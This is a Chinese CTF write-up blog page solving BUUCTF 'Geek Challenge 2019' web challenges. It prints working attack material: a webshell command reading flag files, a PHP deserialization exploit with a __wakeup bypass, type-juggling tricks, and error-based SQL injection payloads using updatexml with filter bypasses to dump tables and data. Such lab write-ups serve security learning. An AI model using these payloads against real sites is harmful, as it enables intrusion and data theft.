buu极客大挑战
# [极客大挑战 2019]Http
打开页面,查看源码,找到隐藏的php页面的路径,基础的http header做了就给flag
# [极客大挑战 2019]Knife
白给的shellSyc=system('tac /f*');
# [极客大挑战 2019]PHP
提示备份,下载www.zip,压缩包里有class.php
,审计
index.php里包含了class.php,并接收一个select get参数
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
exp
$payload = new Name('admin',100);
echo urlencode(serialize($payload));
1
2
2
类里有个wakeup
魔术方法,尝试修改对象的属性个数绕过,把2改3就可以了
# [极客大挑战 2019]BuyFlag
找到题目路径,访问,查看源码,里面有注释的php代码
三个限制,1.a student from CUIT,2.密码,3.金额
money,password都可以在源码里看到
没有找到a student from CUIT
相关内容,最后可以通过抓包或者查看网站cookie,找到user:0
,1就代表a student from CUIT
简单的绕过
1.第一层可以用404a
绕过,他是字符串,和数字比较会自动转换,只保留开头的数字
2.第二层提示长度太长,可以使用科学计数法,9e9
# [极客大挑战 2019]HardSQL
参考:【BUUCTF-[极客大挑战 2019]HardSQL 1详解】 (opens new window)
报错注入
在sql语法里,可以使用^
连接字段值和函数,进行异或运算
这里使用^
拼接变量值和updatexml
函数,updatexml
函数会报错,回显出已经执行的结果,通过updatexml
函数里不允许出现的字符0x7e
来来让他报错(updatexml(0x7e,注入语句,0x7e));
测试,题目过滤了空格,等号,可以用括号绕过空格,用like绕过等号,最后补上注释符%23
?username=admin&password=1'^updatexml(0x7e,(select(version())),0x7e)%23
1
# 爆表
?username=admin&password=1'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e),1)%23
# 爆字段 ~id,username,password~
?username=admin&password=1'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like"H4rDsq1"),0x7e),1)%23
# 爆数据
?username=admin&password=1'^updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1)%23
1
2
3
4
5
6
2
3
4
5
6
爆flag,只爆出了一半,用substr函数时截不出来,好像被过滤了,用right
,left
代替了
# 前30位 flag{758142ee-d5c3-4320-8bca-b
?username=admin&password=1'^updatexml(1,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30),0x7e),1)%23
# 后30位 e-d5c3-4320-8bca-ba29957a9055}
?username=admin&password=1'^updatexml(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),20),0x7e),1)%23
1
2
3
4
2
3
4
编辑 (opens new window)
最后一次更新于: 2024/10/01, 18:09:34